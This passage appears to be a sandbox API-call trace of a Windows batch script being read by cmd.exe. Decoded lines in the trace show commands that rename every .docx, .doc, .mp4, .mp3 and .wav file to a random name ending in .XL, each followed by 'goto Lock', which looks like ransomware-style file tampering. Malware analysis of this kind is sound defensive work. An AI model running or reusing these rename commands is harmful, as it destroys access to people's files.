lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nocx\r\n") returned 2 [0039.531] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.531] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1344 [0039.532] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.532] GetFileType (hFile=0x74) returned 0x1 [0039.532] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1344 [0039.532] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.532] SetFilePointer (in: hFile=0x74, lDistanceToMove=4959, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x135f [0039.532] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.docx %RANDOM%.XL\r\n\r\n") returned 27 [0039.532] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.532] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x135f [0039.532] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.532] GetFileType (hFile=0x74) returned 0x1 [0039.532] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x135f [0039.532] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.532] SetFilePointer (in: hFile=0x74, lDistanceToMove=4970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x136a [0039.532] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ncx %RANDOM%.XL\r\n") returned 11 [0039.532] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.532] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x136a [0039.532] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.532] GetFileType (hFile=0x74) returned 0x1 [0039.533] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x136a [0039.533] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.533] SetFilePointer (in: hFile=0x74, lDistanceToMove=4972, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x136c [0039.533] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.533] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.533] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x136c [0039.533] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.533] GetFileType (hFile=0x74) returned 0x1 [0039.533] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x136c [0039.533] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.533] SetFilePointer (in: hFile=0x74, lDistanceToMove=4978, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1372 [0039.533] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":doc\r\nock\r\n") returned 6 [0039.533] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.533] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1372 [0039.533] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.533] GetFileType (hFile=0x74) returned 0x1 [0039.533] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1372 [0039.533] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.534] SetFilePointer (in: hFile=0x74, lDistanceToMove=4980, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1374 [0039.534] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\noc\r\n") returned 2 [0039.534] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.534] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1374 [0039.534] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.534] GetFileType (hFile=0x74) returned 0x1 [0039.534] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1374 [0039.534] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.534] SetFilePointer (in: hFile=0x74, lDistanceToMove=5006, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x138e [0039.534] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.doc %RANDOM%.XL\r\n\n") returned 26 [0039.534] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.534] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x138e [0039.534] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.534] GetFileType (hFile=0x74) returned 0x1 [0039.534] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x138e [0039.534] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.534] SetFilePointer (in: hFile=0x74, lDistanceToMove=5017, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1399 [0039.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nc %RANDOM%.XL\r\n") returned 11 [0039.535] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.535] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1399 [0039.535] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.535] GetFileType (hFile=0x74) returned 0x1 [0039.535] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1399 [0039.535] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.535] SetFilePointer (in: hFile=0x74, lDistanceToMove=5019, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x139b [0039.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.535] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.535] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x139b [0039.535] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.535] GetFileType (hFile=0x74) returned 0x1 [0039.535] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x139b [0039.535] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.535] SetFilePointer (in: hFile=0x74, lDistanceToMove=5025, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13a1 [0039.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":mp4\r\nock\r\n") returned 6 [0039.535] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.535] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13a1 [0039.536] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.536] GetFileType (hFile=0x74) returned 0x1 [0039.536] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13a1 [0039.536] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.536] SetFilePointer (in: hFile=0x74, lDistanceToMove=5027, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13a3 [0039.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\np4\r\n") returned 2 [0039.536] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.536] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13a3 [0039.536] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.537] GetFileType (hFile=0x74) returned 0x1 [0039.537] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13a3 [0039.537] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.537] SetFilePointer (in: hFile=0x74, lDistanceToMove=5053, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13bd [0039.537] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.mp4 %RANDOM%.XL\r\n") returned 26 [0039.537] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.537] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13bd [0039.537] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.537] GetFileType (hFile=0x74) returned 0x1 [0039.537] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13bd [0039.537] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.537] SetFilePointer (in: hFile=0x74, lDistanceToMove=5064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13c8 [0039.537] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\n4 %RANDOM%.XL\r\n") returned 11 [0039.537] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.537] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13c8 [0039.537] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.537] GetFileType (hFile=0x74) returned 0x1 [0039.537] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13c8 [0039.538] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.538] SetFilePointer (in: hFile=0x74, lDistanceToMove=5066, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13ca [0039.538] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.538] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.538] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ca [0039.538] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.538] GetFileType (hFile=0x74) returned 0x1 [0039.538] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ca [0039.538] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.538] SetFilePointer (in: hFile=0x74, lDistanceToMove=5072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13d0 [0039.538] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":mp3\r\nock\r\n") returned 6 [0039.538] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.538] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13d0 [0039.538] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.538] GetFileType (hFile=0x74) returned 0x1 [0039.538] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13d0 [0039.538] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.539] SetFilePointer (in: hFile=0x74, lDistanceToMove=5074, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13d2 [0039.539] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\np3\r\n") returned 2 [0039.539] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.539] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13d2 [0039.539] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.539] GetFileType (hFile=0x74) returned 0x1 [0039.539] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13d2 [0039.539] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.539] SetFilePointer (in: hFile=0x74, lDistanceToMove=5100, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13ec [0039.539] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.mp3 %RANDOM%.XL\r\n") returned 26 [0039.539] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.539] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ec [0039.539] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.539] GetFileType (hFile=0x74) returned 0x1 [0039.539] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ec [0039.539] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.539] SetFilePointer (in: hFile=0x74, lDistanceToMove=5111, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13f7 [0039.539] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\n3 %RANDOM%.XL\r\n") returned 11 [0039.540] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.540] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13f7 [0039.540] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.540] GetFileType (hFile=0x74) returned 0x1 [0039.540] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13f7 [0039.540] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.540] SetFilePointer (in: hFile=0x74, lDistanceToMove=5113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13f9 [0039.540] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.540] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.540] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13f9 [0039.540] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.540] GetFileType (hFile=0x74) returned 0x1 [0039.540] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13f9 [0039.540] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.540] SetFilePointer (in: hFile=0x74, lDistanceToMove=5119, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13ff [0039.540] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":wav\r\nock\r\n") returned 6 [0039.540] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.540] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ff [0039.541] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.541] GetFileType (hFile=0x74) returned 0x1 [0039.541] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ff [0039.541] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.541] SetFilePointer (in: hFile=0x74, lDistanceToMove=5121, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1401 [0039.541] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nav\r\n") returned 2 [0039.541] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.541] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1401 [0039.541] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.541] GetFileType (hFile=0x74) returned 0x1 [0039.541] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1401 [0039.541] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.541] SetFilePointer (in: hFile=0x74, lDistanceToMove=5147, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x141b [0039.541] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.wav %RANDOM%.XL\r\n") returned 26 [0039.541] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.541] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x141b [0039.541] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.541] GetFileType (hFile=0x74) returned 0x1 [0039.541] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x141b [0039.542] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.542] SetFilePointer (in: hFile=0x74, lDistanceToMove=5158, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1426 [0039.542] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nv %RANDOM%.XL\r\n") returned 11 [0039.542] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.542] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1426 [0039.542] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.542] GetFileType (hFile=0x74) returned 0x1 [0039.542] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1426 [0039.542] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.542] SetFilePointer (in: hFile=0x74, lDistanceToMove=5160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1428 [0039.542] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.542] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.542] 